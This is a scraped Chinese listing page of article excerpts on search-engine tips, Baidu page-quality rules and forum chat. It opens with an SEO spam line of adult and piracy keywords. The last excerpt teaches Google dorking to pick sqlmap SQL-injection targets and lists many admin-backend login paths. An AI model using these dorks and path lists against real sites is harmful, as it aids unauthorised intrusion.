最近中文字幕2019高清,亚洲人成高清在线播放,男生淦哭男生图片动漫有字,国产亚洲精品九九久在线观看,无码av专区丝袜专区

　　推薦10個(gè)超級實(shí)用的谷歌搜索技巧，讓你的效率提高十倍！
　　相信大家在使用搜索引擎的時(shí)候，大部分情況下都是直接輸入要搜索的關(guān)鍵詞，然后在搜索結果里一個(gè)個(gè)點(diǎn)開(kāi)查找。
　　但除了特定信息外，搜索引擎同時(shí)也會(huì )返回大量無(wú)關(guān)的信息。
　　有時(shí)候我們可能翻好幾頁(yè)也不一定能找到滿(mǎn)意的結果，平白增加不少的工作量。
　　
　　其實(shí)，有一些特殊的技巧，可以對搜索結果進(jìn)行限制和篩選，縮小檢索范圍，讓搜索結果更加準確，大大提高我們的效率。
　　下面，擴展迷就給大家介紹一些在進(jìn)行谷歌搜索時(shí)可以使用的便捷技巧。
　　其中，部分技巧在其他搜索引擎中也同樣支持。
　　
　　1. 強制精確匹配
　　當你輸入某個(gè)長(cháng)句或者短語(yǔ)進(jìn)行搜索后，搜索引擎會(huì )默認顯示所有分別包含各個(gè)單詞的相關(guān)信息。
　　要么就是，只匹配到了你輸入的部分字詞，這就很令人糟心了。
　　其實(shí)這時(shí)候，你可以使用引號來(lái)強制完全匹配所有字符。
　　如：“what is extension”
　　加引號前的搜索結果如下：
　　加上引號后的搜索結果：
　　再比如：“擴展迷網(wǎng)站的地址”
　　加上引號前的搜索結果是這樣的：
　　加上引號后搜出來(lái)是這樣的：
　　在百度搜索上，強制匹配技巧同樣適用。
　　2. AND運算符
　　很多人不知道的是，絕大部分搜索引擎都允許在搜索中使用邏輯運算符。
　　如果你想查詢(xún)同時(shí)包含多個(gè)搜索詞的所有站點(diǎn)，只需要在搜索引擎中輸入：搜索詞 AND 搜索詞。
　　搜索引擎則會(huì )返回包含兩者的搜索結果。
　　比如：擴展迷 AND 下載
　　3. OR運算符
　　與AND相反，OR可以返回你輸入的多個(gè)搜索詞分別相關(guān)的結果，而不僅僅是和多個(gè)搜索詞都同時(shí)相關(guān)的結果。
　　巧妙使用OR運算符，可以讓你在未能確定哪個(gè)關(guān)鍵詞對于搜索結果起決定作用時(shí)，依然可以確保搜索結果的準確性。
　　比如：擴展迷 OR python
　　4. 排除指定關(guān)鍵詞
　　如果在進(jìn)行準確搜索時(shí)沒(méi)有找到自己想要的結果，你還可以對包含特定詞匯的信息進(jìn)行排除，僅需使用減號，即 -就可以了（注意減號前有空格）。
　　比如搜索：擴展迷，第二條結果包含了嗶哩嗶哩網(wǎng)站的內容。
　　使用排除符號搜索：擴展迷 -嗶哩嗶哩
　　可以看到，包含嗶哩嗶哩的結果就都沒(méi)有了。
　　通過(guò)這個(gè)技巧，大家在搜索指定的教程、新聞資訊的時(shí)候就方便得多了。
　　5. 通配符
　　*，星號，通配符，可以用作模糊搜索。
　　如果我們忘記了需要搜索的詞句的某一部分，就可以用*代替缺失的部分。
　　比如：擴*迷Extfans
　　這個(gè)技巧在查歌詞、文章原文的時(shí)候非常省時(shí)省力，而不會(huì )返回太多無(wú)關(guān)結果。
　　6. 站內搜索
　　眾所周知，許多網(wǎng)站上內容雖然豐富，但欠缺了站內搜索的入口，當我們想要查找網(wǎng)站上的某個(gè)資源的話(huà)就比較麻煩了。
　　實(shí)際上，搜索引擎也可以幫你完成站內搜索的工作。只需輸入：搜索詞site:網(wǎng)址
　　比如搜索：下載工具 site:
　　或：site: 下載工具
　　直接就可以找到擴展迷網(wǎng)站上有關(guān)“下載工具”的所有內容了。
　　順帶一提，如果再結合本文第一條的精準搜索功能，站內搜索將會(huì )變得更加強大。
　　7. 在網(wǎng)頁(yè)標題、鏈接和正文中搜索
　　如果你需要找出和搜索詞相關(guān)的所有網(wǎng)頁(yè)標題、鏈接和正文，只需要按下方規則搜索即可：
　　把搜索范圍限定在網(wǎng)頁(yè)標題中——intitle:搜索詞
　　把搜索范圍限定在url鏈接中——inurl:搜索詞
　　把搜索范圍限定在正文中——intext:搜索詞
　　例如，在搜索引擎中輸入：intitle: 擴展迷安裝教程
　　就會(huì )得到所有標題中包含“擴展迷安裝教程”的網(wǎng)頁(yè)了。
　　8.搜索相關(guān)網(wǎng)站
　　想要知道與某個(gè)網(wǎng)站相關(guān)的網(wǎng)站還有哪些？你僅需在搜索引擎中輸入related:網(wǎng)址，就可以了。
　　比如：related:
　　即可得到所有和相關(guān)的網(wǎng)站反饋結果。
　　9. 搜索指定文件類(lèi)型
　　使用這個(gè)技巧，可以快速幫你找到各個(gè)格式的文件。
　　輸入：filetype:文檔格式 搜索詞
　　比如：filetype:pdf 疫情防控
　　10. 在某個(gè)時(shí)間范圍內搜索
　　如果你想找出某段時(shí)間內的搜索結果，可以在搜索引擎中輸入：搜索詞年份..年份（搜索詞和年份之間有空格）。
　　比如：擴展迷油猴腳本 2020..2021
　　總結
　　盡管有些技能或許并不常用，但精準搜索和站內搜索這些技能的使用范圍還是相當廣泛的。
　　更重要的是，以上提到的技巧都可以單獨或搭配使用，中間用空格隔開(kāi)即可。
　　比如，在擴展迷網(wǎng)站上搜索標題含“油猴腳本”的內容。
　　只需輸入：intitle:“油猴腳本” site:
　　再比如，在豆瓣上搜索標題包含“你好李煥英”的內容。
　　輸入：intitle:“你好李煥英” site:
　　如果你能夠靈活對上述所有搜索技能進(jìn)行組合運用，完全能按照自己的意愿縮小或者擴展搜索范圍，達到事半功倍的效果。
　　隨著(zhù)谷歌等搜索引擎中提供的內容越來(lái)越繁雜，對于用戶(hù)來(lái)說(shuō)，掌握這些搜索技巧還是非常必要的。
　　本文為公眾號【擴展迷Extfans】原創(chuàng ) 查看全部

　　百度搜索頁(yè)面規范指南：網(wǎng)站站點(diǎn)或智能小程序滿(mǎn)足用戶(hù)需求，標題，內容
　　
　　百度搜索頁(yè)面規范指南--用戶(hù)需求滿(mǎn)足
　　【需要找百度小程序開(kāi)發(fā)，網(wǎng)站制作開(kāi)發(fā)公司直接找我們】
　　2.1 標題規范 ——針對頁(yè)面標題違規問(wèn)題
　　2017年9月，百度搜索發(fā)布清風(fēng)算法，嚴懲開(kāi)發(fā)者通過(guò)頁(yè)面標題作弊，欺騙用戶(hù)并獲得點(diǎn)擊的行為；從而保證搜索用戶(hù)體驗，促進(jìn)搜索生態(tài)良性發(fā)展。
　　2018年11月，百度搜索針對頁(yè)面標題作弊行為發(fā)布《百度搜索頁(yè)面標題規范》，對搜索生態(tài)下的網(wǎng)頁(yè)標題進(jìn)行了嚴格的規范和要求。不符合《百度搜索頁(yè)面標題規范》的站點(diǎn)，將會(huì )被清風(fēng)算法1.0覆蓋，受到限制搜索展現的處理。
　　《百度搜索頁(yè)面標題規范》
　　1.標題的原則
　　? 站點(diǎn)或智能小程序應確保每個(gè)頁(yè)面都有指定的標題，且同一站點(diǎn)的不同頁(yè)面應分別使用不同的標題；
　　? 頁(yè)面標題應準確概括頁(yè)面內容，避免使用模糊和不相關(guān)的描述；
　　? 頁(yè)面標題應簡(jiǎn)明扼要，避免使用冗長(cháng)的標題，避免關(guān)鍵詞堆砌；
　　? 頁(yè)面標題的符號使用正確，建議參考百度建議的標題符號用法（詳細內容請參見(jiàn)后文“3.2標題的符號”部分）
　　2.不允許出現的標題類(lèi)型
　　標題存在以下惡劣問(wèn)題時(shí)，會(huì )對這類(lèi)結果做相應的搜索結果展現限制。
　　2.1標題內容虛假
　　指標題和頁(yè)面內容不相符，欺騙誘導用戶(hù)點(diǎn)擊的情況。
　　類(lèi)型1：虛假官網(wǎng)
　　指非官方站點(diǎn)或智能小程序，但標題表述為官網(wǎng)的情況。
　　問(wèn)題示例12：非官方網(wǎng)站但標題為官網(wǎng)的負面案例
　　類(lèi)型2：無(wú)法滿(mǎn)足用戶(hù)需求
　　如：標題中標明可下載或在線(xiàn)閱讀小說(shuō)txt，但是頁(yè)面中不提供下載服務(wù)或誘導用戶(hù)下載APP；或在標題中說(shuō)明有百度云下載、支持在線(xiàn)觀(guān)看，但是頁(yè)面既不能下載，又不能在線(xiàn)觀(guān)看。
　　問(wèn)題示例13：標題標明可下載小說(shuō)，但頁(yè)面中誘導下載APP的負面案例
　　
　　類(lèi)型3：標題表述部分虛假
　　如：某網(wǎng)頁(yè)標題中標明有江蘇一本大學(xué)排名，但頁(yè)面只有大學(xué)名單，而沒(méi)有排名相關(guān)的內容。
　　2.2標題重復、堆砌
　　指站點(diǎn)或智能小程序通過(guò)頁(yè)面標題過(guò)度重復或堆砌等手段，獲取不正當流量的情況。
　　類(lèi)型1：標題關(guān)鍵詞大量重復
　　類(lèi)型2：標題大量堆砌語(yǔ)義相近的關(guān)鍵詞標簽
　　問(wèn)題示例14：標題堆砌關(guān)鍵詞的負面案例
　　
　　3.優(yōu)質(zhì)頁(yè)面標題建議
　　優(yōu)質(zhì)的頁(yè)面標題，不僅能明確表達頁(yè)面的主旨目的，更能給搜索用戶(hù)有效的引導，吸引目標用戶(hù)點(diǎn)擊。對符合優(yōu)質(zhì)規范的標題，百度將會(huì )給予更多的展現優(yōu)待。
　　3.1 標題的構成
　　百度頁(yè)面標題可以概括為“核心詞+修飾詞”的格式，修飾詞建議不多于3個(gè)。
　　
　　3.2 標題的符號
　　
　　4.百度標題改寫(xiě)機制
　　為保證搜索用戶(hù)的體驗，百度搜索將會(huì )對部分易造成用戶(hù)誤導的頁(yè)面標題進(jìn)行相應的改寫(xiě)，包括但不限于以下幾種情況：
　　對于標題堆砌等過(guò)度優(yōu)化的站點(diǎn)首頁(yè)，百度搜索會(huì )將過(guò)度優(yōu)化的標題直接改寫(xiě)為站點(diǎn)名稱(chēng)或公司名稱(chēng)；
　　對于部分表意模糊的頁(yè)面，百度搜索將會(huì )從頁(yè)面中提取頁(yè)面關(guān)鍵信息補充在標題中，保證用戶(hù)能夠及時(shí)獲取有效信息。
　　針對標題堆砌的改寫(xiě)示例：針對標題堆砌問(wèn)題的改寫(xiě)示例
　　
　　2.2 清風(fēng)算法3.0——針對下載站違規問(wèn)題
　　為了規范下載行業(yè)站點(diǎn)及智能小程序的欺騙下載、捆綁下載等傷害用戶(hù)的行為，百度搜索分別于2018年4月、2018年10月發(fā)布清風(fēng)算法2.0、3.0版本，清風(fēng)算法覆蓋的問(wèn)題范圍從標題作弊行為擴展到下載行業(yè)站點(diǎn)及智能小程序的欺騙用戶(hù)行為。
　　2018年10月，百度搜索發(fā)布《百度搜索下載站質(zhì)量規范》，對百度搜索范圍內下載站點(diǎn)及智能小程序的行為進(jìn)行嚴格要求和控制。不符合此規范的下載站或智能小程序，將會(huì )被清風(fēng)算法3.0覆蓋，受到搜索展現的限制。
　　《百度下載站質(zhì)量規范》
　　1.下載站質(zhì)量規范概要
　　下載站需遵守以下原則，堅持為用戶(hù)提供高質(zhì)量、有效，安全的下載服務(wù)：
　?、俦ＷC軟件的安全性，無(wú)掛馬、竊取用戶(hù)隱私等惡意行為；
　?、跓o(wú)”李鬼下載“行為，通過(guò)普通下載/本地下載入口下載的軟件必須為下載按鈕文字描述的目標軟件；
　?、巯螺d頁(yè)面中不能存在與下載按鈕類(lèi)似的誘導類(lèi)廣告；
　?、茉试S存在安全下載/高速下載的情況，但是頁(yè)面中必須有明確說(shuō)明解釋。
　　2.下載站質(zhì)量規范說(shuō)明
　　2.1 PC端下載站質(zhì)量規范
　　圖示：PC端下載站頁(yè)面
　　
　　a板塊.本地下載：
　　應保證下載軟件的安全性，無(wú)掛馬、竊取用戶(hù)隱私等問(wèn)題；
　　本地下載/普通下載點(diǎn)擊后，效果必須為直接下載目標軟件，不能存在下載內容與描述不符的“李鬼下載”問(wèn)題；
　　b板塊.高速下載：
　　若存在高速下載情況，需要在頁(yè)面上明確告知用戶(hù)其與本地下載（如上圖a區所示）的區別，如：說(shuō)明實(shí)際效果為先下載高速下載器，然后在高速下載器中下載目標軟件（如上圖b區所示）；
　　c板塊.誘導廣告：
　　下載頁(yè)面中不能存在與下載按鈕相似的誘導類(lèi)廣告，如上圖c區所示的情況是不允許出現的。
　　2.2高速下載器規范
　　說(shuō)明：此項規范針對用戶(hù)在PC頁(yè)面中下載高速下載器后，通過(guò)高速下載器下載目標軟件的情況。
　　圖示：用戶(hù)下載高速下載器打開(kāi)后的界面
　　
　?、僭试S下載前默認勾選推薦軟件（如上圖紅框區域所示），但是用戶(hù)可自主根據實(shí)際需求取消勾選，取消勾選后不能再將推薦軟件進(jìn)行捆綁下載；
　?、谕扑]下載的軟件不能為色情、賭博等違法軟件；
　　2.3移動(dòng)端下載站質(zhì)量規范
　　圖示：移動(dòng)端下載界面
　　
　?、俦ＷC下載軟件的安全性，無(wú)掛馬、竊取用戶(hù)隱私等問(wèn)題；
　?、谙螺d點(diǎn)擊后，效果必須為直接下載目標軟件，不能存在“李鬼下載”現象；
　?、巯螺d需要有明確說(shuō)明，在頁(yè)面上告知用戶(hù)，如上圖所示，說(shuō)明實(shí)際效果為先下載某應用市場(chǎng)，后續可在應用市場(chǎng)中下載目標軟件，這種方式更加安全等；
　?、茉试S默認勾選，優(yōu)先進(jìn)行高速下載，但用戶(hù)可自主根據實(shí)際情況取消勾選，直接進(jìn)入普通下載，下載目標軟件。
　　2.3 信風(fēng)算法——針對虛假翻頁(yè)誘導問(wèn)題
　　2019年5月，百度搜索發(fā)布信風(fēng)算法，控制網(wǎng)站或智能小程序利用翻頁(yè)鍵誘導用戶(hù)的行為。
　　信風(fēng)算法主要針對以下情況：
　　用戶(hù)點(diǎn)擊翻頁(yè)鍵時(shí)，自動(dòng)跳轉至網(wǎng)站的其他頻道頁(yè)（如目錄頁(yè)、站外廣告頁(yè)等）。
　　問(wèn)題示例15：移動(dòng)端，用戶(hù)點(diǎn)擊“下一頁(yè)”直接跳轉至站內頻道目錄頁(yè)
　　問(wèn)題示例16：PC端，用戶(hù)點(diǎn)擊“下一頁(yè)”直接跳轉至站內頻道目錄頁(yè)
　　
　　對于此類(lèi)問(wèn)題，我們建議：
　　1、不要放置虛假翻頁(yè)鍵。如果您希望能獲得更多的用戶(hù)瀏覽和點(diǎn)擊，可以在正文結束后，為用戶(hù)推薦相關(guān)的優(yōu)質(zhì)內容，吸引用戶(hù)點(diǎn)擊。
　　2、尊重用戶(hù)瀏覽體驗，避免出現刻意拆分一篇簡(jiǎn)短文章為多個(gè)分頁(yè)的行為。
　　2.4 違規信息規范——針對違法違規信息
　　為了維護安全健康的搜索生態(tài)，保障搜索用戶(hù)的合法權益，2019年2月，百度搜索發(fā)布《關(guān)于百度搜索嚴厲打擊虛假詐騙等違法違規信息的公告》，打擊電信網(wǎng)絡(luò )中的虛假詐騙、違法交易、黃賭毒等違法違規信息。
　　百度搜索打擊的違法違規信息包括但不限于以下內容：
　　1.虛假、詐騙類(lèi)信息： 查看全部

　　選新浪微博中國的搜索引擎大概就剩下百度了
　　搜索指定網(wǎng)站內容時(shí)，使用手機瀏覽器搜索指定網(wǎng)站內容，會(huì )推薦該網(wǎng)站內容中的新聞。
　　另類(lèi)點(diǎn)兒的有手機版pc端和各種問(wèn)答網(wǎng)站手機端可搜小眾關(guān)鍵詞就有結果了，
　　搜狗這個(gè)搜索功能我覺(jué)得不是特別好，特別是經(jīng)常搜一些沒(méi)有用過(guò)的，感覺(jué)搜狗查不出來(lái)的時(shí)候，搜狗就這么做了。
　　個(gè)人習慣：豆瓣。
　　百度啊，
　　新浪博客
　　其實(shí)我最喜歡的是，google搜索。但是要翻墻。
　　我覺(jué)得googlemap也是個(gè)不錯的選擇，打開(kāi)后，你可以搜索離你最近的城市，然后就是圖片，文字，各種信息。不但要用自己感興趣的，而且要評論才能看到附近有啥好玩的，體驗不一樣的生活。
　　googlemapsandsearch
　　必應啊。android之前版本搜索整個(gè)公司的所有東西都會(huì )有好嗎。
　　國內我選新浪微博
　　中國的搜索引擎大概就剩下百度了吧。
　　微博上找facebook或twitter,微軟的有samsungbada系列,都不錯.國外的googleamazonyahoo之類(lèi)的.
　　騰訊搜索，
　　百度了吧
　　其實(shí)我覺(jué)得首頁(yè)很大程度上只是一個(gè)映射某一些網(wǎng)站的門(mén)戶(hù)類(lèi)網(wǎng)站，根據網(wǎng)站的內容大而全，
　　在網(wǎng)絡(luò )上一般搜索的主要依據就是各種英文網(wǎng)站 查看全部

　　用了10年百度，這6個(gè)搜索技巧，我居然才知道??！
　　
　　文 / 一周進(jìn)步 · 安哥拉
　　在信息過(guò)載的當下，即便我們不去主動(dòng)獲取信息，各種應用推薦和用戶(hù)生產(chǎn)的內容，也會(huì )把我們裹挾其中，但其中真正有價(jià)值的內容，實(shí)際上可能是少之又少。
　　每個(gè)人都會(huì )面臨「時(shí)間有限」的約束，如何從信息浪潮中快速找到自己需要的優(yōu)質(zhì)內容，幾乎成了每一個(gè)現代人必須面對的問(wèn)題。
　　除了找到優(yōu)質(zhì)的信息源，更為重要的是，用好手中的搜索，因為你想知道的東西，80% 都可以在網(wǎng)上找到答案。
　　因此，今天的文章，我整理了提高搜索效率和質(zhì)量的一些方法，包含搜索指令、以圖搜圖技巧、屏蔽網(wǎng)站和廣告等，希望這些內容對你有幫助。
　　01. 搜索指令
　?、龠^(guò)濾關(guān)鍵詞
　　
　　在搜索的關(guān)鍵詞后面使用減號，加上你想過(guò)濾的關(guān)鍵詞，可以去除標題中包含過(guò)濾關(guān)鍵詞的搜索結果。
　　舉個(gè)例子，在百度中以關(guān)鍵詞「學(xué)習App」進(jìn)行搜索，默認排在搜索結果頂部的是來(lái)自知乎的內容。
　　為了對比前后的效果，以「學(xué)習App-知乎」再次搜索，返回的結果就會(huì )過(guò)濾來(lái)自知乎的內容。
　?、谠谥付ňW(wǎng)站中搜索
　　
　　在關(guān)鍵詞后面加上site:網(wǎng)址，可以在指定的網(wǎng)站中搜索關(guān)鍵詞，這比較適合垂直且網(wǎng)址好記的網(wǎng)站，可以讓你在不打開(kāi)網(wǎng)站的情況下，直接使用關(guān)鍵詞進(jìn)行搜索。
　　以尋找答辯 PPT模板為例，直接以「答辯ppt」進(jìn)行搜索，返回的結果來(lái)自不同的網(wǎng)站，既有 PPT 教程的內容，也有 PPT 模板網(wǎng)站，比較雜亂。
　　如果你只想搜索返回 PPT模板的結果，可試著(zhù)將搜索的范圍局限在PPT模板網(wǎng)站，例如微軟家的模板網(wǎng)站，這樣得到的搜索結果會(huì )更加精確。
　　值得一提的是，site:后面添加的網(wǎng)址，不需要帶上或，否則返回的結果會(huì )顯示沒(méi)有找到相關(guān)的內容。
　?、壑付ㄎ募?lèi)型
　　
　　在關(guān)鍵詞后面加上filetype:文件格式，可以指定搜索結果返回的文件類(lèi)型，這里的文件格式包含但不限于 ppt、doc、pdf、xls 等。
　　還是以答辯 PPT為例，在關(guān)鍵詞后面加上「filetype:ppt」，這樣返回的結果就都僅限于 ppt 格式的文檔，不會(huì )亂入其他類(lèi)型的文件。
　　需要注意的是，自 Office2013起，Office新增了三種類(lèi)型的兼容格式pptx、docx和xlsx，但百度的filetype指令不支持這三個(gè)新的格式，而在 Google 中則可以正常使用。
　?、芫_匹配
　　
　　有時(shí)我們使用關(guān)鍵詞進(jìn)行搜索時(shí)，搜索引擎會(huì )將我們的關(guān)鍵詞拆分為兩個(gè)小短語(yǔ)進(jìn)行搜索，導致搜索返回的結果不盡如人意。
　　為了解決這個(gè)問(wèn)題，我們可以將關(guān)鍵詞放到引號里邊，這樣搜索引擎在搜索時(shí)就會(huì )返回包含完整關(guān)鍵詞的結果，不會(huì )將關(guān)鍵詞拆分為亂序的多個(gè)短語(yǔ)。
　　這里的引號既可以是中文引號，也可以是英文引號，使用中文或英文引號對搜索返回的結果不會(huì )有影響。
　　如下圖所示，以「“城市地鐵”」進(jìn)行搜索時(shí)，返回的結果都是完全匹配的，相比為未添加引號時(shí)可以適當地提高搜索效率。
　?、萃ㄅ浞阉?br /> 　　
　　俗話(huà)說(shuō)“好記性不如爛筆頭”，有時(shí)剛聽(tīng)到或想到的東西，由于沒(méi)有及時(shí)記錄下來(lái)，不一會(huì )兒在我們腦中可能就只剩下星星點(diǎn)點(diǎn)的碎片。
　　就像是你隱約記得有部動(dòng)漫叫《四月xx謊言》，但就是想不起中間的部分，此時(shí)你就可以使用星號*來(lái)代替，以此來(lái)告知搜索引擎，中間還有一部分你不清楚的內容。
　　這里的星號*被稱(chēng)為通配符，常用于模糊搜索的場(chǎng)景，當你不知道完整的文本時(shí)，可以使用通配符代替其中的一個(gè)或多個(gè)字符，以此來(lái)盡可能地接近自己想要搜索的內容。
　?、尴薅祟}關(guān)鍵詞
　　
　　在關(guān)鍵詞 A后面加上intitle:關(guān)鍵詞 B，它有點(diǎn)像是數學(xué)中的交集，即搜索返回的結果中，其標題必須同時(shí)包含關(guān)鍵詞 A和 B。
　　以下圖為例，以「學(xué)習網(wǎng)站intitle:剪輯」進(jìn)行搜索，下方返回的搜索結果就會(huì )同時(shí)包含這兩個(gè)關(guān)鍵詞，讓搜索結果更聚焦。
　　前面雖然單獨介紹了每一個(gè)搜索指令，但在實(shí)際搜索場(chǎng)景下，我們可以將兩個(gè)或多個(gè)搜索命令結合起來(lái)使用，不同指令聯(lián)動(dòng)配合，提高搜索的效率和質(zhì)量。
　　02.百度高級搜索
　　剛接觸這些搜索指令的朋友，前期可能還會(huì )記得，但如果后續沒(méi)有有意識地使用它們，隨著(zhù)時(shí)間的流逝，這些指令就會(huì )慢慢被遺忘。
　　比較幸運的是，百度也自帶了類(lèi)似搜索指令的高級搜索，它以更易于理解的形式，將搜索指令呈現在我們面前。
　　點(diǎn)擊百度搜索頁(yè)面右上角的「設置」，打開(kāi)「高級搜索」。
　　在你了解了前面各個(gè)指令的含義之后，再來(lái)看下圖的高級搜索面板，應該就很好理解了。
　　以搜索關(guān)鍵詞為例，完整關(guān)鍵詞對應精確匹配的命令，不包括關(guān)鍵詞對應過(guò)濾關(guān)鍵詞命令。
　　在包含完整關(guān)鍵詞輸入框中輸入關(guān)鍵詞「城市地鐵」，接著(zhù)點(diǎn)擊底部的高級搜索，在打開(kāi)的搜索頁(yè)面中，它會(huì )自動(dòng)為關(guān)鍵詞加上雙引號，這與前面介紹的搜索命令是一致的。
　　此外，高級搜索面板還可以限定搜索返回的文檔格式，這里列出的文檔格式更清晰，包含 pdf、doc、xls、ppt 和 rtf 文件。
　　03.以圖搜圖
　　不少朋友可能都知道百度的「以圖搜圖」功能，通過(guò)將本地的圖片上傳到百度，它會(huì )幫我們找到與這張圖片相關(guān)的其他圖片。
　　但多數人每次使用百度的以圖搜圖時(shí)，可能都是先在百度中搜索以圖搜圖，然后打開(kāi)百度識圖的頁(yè)面，最后再上傳圖片，整個(gè)流程下來(lái)有些繁瑣。
　　為幫助大家更高效地使用以圖搜圖，這里介紹兩個(gè)搜圖的小技巧：
　?、侔磮D搜索
　　這是百度圖片自帶的功能，當你使用百度搜索特定圖片時(shí)，將鼠標移動(dòng)到搜索返回的圖片上方，右下角會(huì )有兩個(gè)按鈕，一個(gè)是下載，另一個(gè)則是按圖片搜索。
　　點(diǎn)擊「按圖片搜索」，就會(huì )調用百度的以圖搜圖功能，尋找所有與當前圖片相關(guān)的內容。
　　另外，當你點(diǎn)擊圖片的縮略圖查看圖片詳情時(shí)，點(diǎn)擊圖片下方的「按圖搜索」，同樣可以實(shí)現以圖搜圖的操作。
　?、?Search by Image
　　前面介紹的「按圖搜索」有個(gè)不好的地方在于，它僅限在百度圖片的頁(yè)面起作用，對于其他網(wǎng)頁(yè)的圖片，就不能直接調用百度的以圖搜圖功能。
　　Search by Image，是一個(gè)強大的圖片搜索插件，它集成了 30多個(gè)搜索引擎，可以將任意網(wǎng)頁(yè)的圖片上傳到不同的搜索引擎，以此來(lái)查找與當前圖片相關(guān)的圖片或內容。
　　安裝了插件之后，在任意圖片上右擊，選擇「Search by image」，可以看到不同搜索引擎提供的以圖搜圖功能，選擇 Baidu 就會(huì )直接打開(kāi)百度識圖頁(yè)面。
　　
　　打開(kāi)插件的設置頁(yè)面，可以查看插件集成的所有圖片搜索引擎，勾選引擎前面的復選框即可啟用，長(cháng)按拖拽改變引擎的位置，會(huì )影響右鍵菜單中引擎的上下順序。
　　
　　04.屏蔽網(wǎng)站
　　在搜索時(shí)，除了過(guò)濾不需要的關(guān)鍵詞，我們可能還想要屏蔽個(gè)人不喜歡的網(wǎng)站，例如各類(lèi)容易讓電腦中病毒的軟件下載站、2345 網(wǎng)站等。
　　我對屏蔽網(wǎng)站比較理想的期待是，它不會(huì )出現在搜索結果中，但目前百度搜索無(wú)法做到這樣，想屏蔽的網(wǎng)站還是會(huì )出現在搜索結果中，只能在打開(kāi)網(wǎng)站的時(shí)候將其屏蔽。
　　為了間接屏蔽網(wǎng)站，我們需要為瀏覽器安裝一個(gè)插件——Simple Blocker，正如其名，它屏蔽網(wǎng)站的操作非常簡(jiǎn)單。
　　安裝插件后，點(diǎn)擊右上角的插件圖標，打開(kāi)插件的配置頁(yè)面，在網(wǎng)站屏蔽列表Website Blockist中粘貼你想屏蔽的網(wǎng)站的網(wǎng)址，點(diǎn)擊下方的按鈕「Save Blocklist」保存。
　　之后當你打開(kāi)屏蔽列表中的網(wǎng)站，網(wǎng)站會(huì )跳轉到 Simple Blocker的攔截頁(yè)面，提示當前頁(yè)面已被屏蔽。
　　
　　可能這類(lèi)屏蔽插件的正確用法不是這樣子，正確的用法可能是為了屏蔽少兒不宜的東西，但為了屏蔽那些惡心人的網(wǎng)站，我也只能拿來(lái)這么用了。
　　Simple Blocker 插件下載地址：
　　05. 屏蔽廣告
　　說(shuō)到百度，它最為讓人詬病的地方在于競價(jià)排名。競價(jià)排名，直接體現為我們在搜索結果頂部或者右側看到的廣告。
　　今年 4 月份百度經(jīng)過(guò)一輪整改后，原本泛濫的廣告行為已經(jīng)有所收斂。這里我以關(guān)鍵詞「降噪耳機」進(jìn)行搜索，返回的頁(yè)面頂部沒(méi)有廣告，廣告只出現在了右側欄。
　　如果你是一個(gè)強迫癥患者，想去除網(wǎng)頁(yè)側邊欄的廣告，可以為瀏覽器安裝去除廣告的插件，這些插件有uBlockOrigin、AdBlock、AdGuard 等，你可以隨意從中任選一款。
　　去廣告插件下載地址：
　　寫(xiě)在最后
　　除了本文介紹的內容，我之前還寫(xiě)過(guò)一篇介紹多個(gè)垂直搜索引擎的文章，感興趣的朋友可以戳下方的鏈接：
　　瀏覽至此，如果你在搜索方面也有自己的心得或體會(huì )，不妨在留言區寫(xiě)下你的想法，與其他朋友一起分享交流。
　　好看的人都在看▽ 查看全部

　　sqlamp利用搜索引擎獲取目標地址進(jìn)行注入
　　隨著(zhù)近今年安全事件頻出，個(gè)人和公司安全意識大大提高，過(guò)去對一個(gè)站點(diǎn)隨便一試就存在sql注入漏洞的時(shí)光一去不返，但互聯(lián)網(wǎng)上千千萬(wàn)萬(wàn)公司，還有很多站點(diǎn)存在sql注入漏洞，好在sqlmap提供了google搜索注入，通過(guò)定義url值來(lái)進(jìn)行大批量的搜索，找到url后直接進(jìn)行測試，這個(gè)測試最關(guān)鍵的地方就是找到一個(gè)合適的定義名稱(chēng)，也即搜索的文件名稱(chēng)，本文主要介紹google黑客的一些語(yǔ)法和如何利用google進(jìn)行sqlmap注入目標的選定和測試。
　　3.7.1google黑客語(yǔ)法
　　目前世界上的搜索引擎主要有g(shù)oogle、百度等，搜索引擎最出名的應該是google，最好用的也是google，不過(guò)現在google被墻了（需要購買(mǎi)VPN或者通過(guò)sock5代理才能訪(fǎng)問(wèn)），google其強大的搜索功能，可以在瞬間找到想要的一切。對于普通的用戶(hù)而言，Google是一個(gè)強大的搜索引擎，但對于黑客而言，則可能是一款絕佳的黑客輔助工具，google每天不間斷的對世界上的網(wǎng)站進(jìn)行爬取，相當于一個(gè)巨型漏洞掃描器。因此黑客可以構造特殊的關(guān)鍵字語(yǔ)法，使用Google搜索關(guān)鍵字配置等信息。通過(guò)Google，黑客甚至可以在幾秒種內黑掉一個(gè)網(wǎng)站。這種利用Google搜索相關(guān)信息并進(jìn)行入侵的過(guò)程就叫做Google Hack。Google Hacking的含義原指利用Google搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為，現指利用各種搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為。
　　1.google基礎語(yǔ)法
　　Google 不分大小寫(xiě)；Google 可以使用通配符“*”表示一個(gè)詞/字；Google 會(huì )智能地保留一些內容，比如一些過(guò)時(shí)的詞，一些不適合呈現的內容（比如違法信息）；最常用的"關(guān)鍵字"，雙引號會(huì )使Google強制搜索包含關(guān)鍵字的內容；布爾操作符AND(+)、NOT(-)、OR(|)，AND現在已不需要，多個(gè)關(guān)鍵字google會(huì )都匹配到。
　?。?）inurl——搜索包含有特定字符的URL
　　inurl:admin/manager 則可以找到帶有admin/manager字符的URL,通常這類(lèi)網(wǎng)址是管理員后臺的登錄網(wǎng)址，其它后臺地址名稱(chēng)還有：
　　admin
　　admin_index
　　admin_admin
　　index_admin
　　admin/index
　　admin/default
　　admin/manage
　　admin/login
　　manage_index
　　index_manage
　　manager/login
　　manager/login.asp
　　manager/admin.asp
　　login/admin/admin.asp
　　houtai/admin.asp
　　guanli/admin.asp
　　denglu/admin.asp
　　admin_login/admin.asp
　　admin_login/login.asp
　　admin/manage/admin.asp
　　admin/manage/login.asp
　　admin/default/admin.asp
　　admin/default/login.asp
　　member/admin.asp
　　member/login.asp
　　administrator/admin.asp
　　administrator/login.asp
　?。?）intext（allintext）——搜索網(wǎng)頁(yè)正文內容中的指定字符
　　intext（allintext）：網(wǎng)頁(yè)內容查找關(guān)鍵字，例如輸入“intext:百度”，這會(huì )查找包含百度關(guān)鍵字的網(wǎng)頁(yè)。
　?。?）site——限制顯示某個(gè)域名的所有頁(yè)面
　　site: 則僅僅顯示域名，同時(shí)還可以使用“-”進(jìn)行排除。
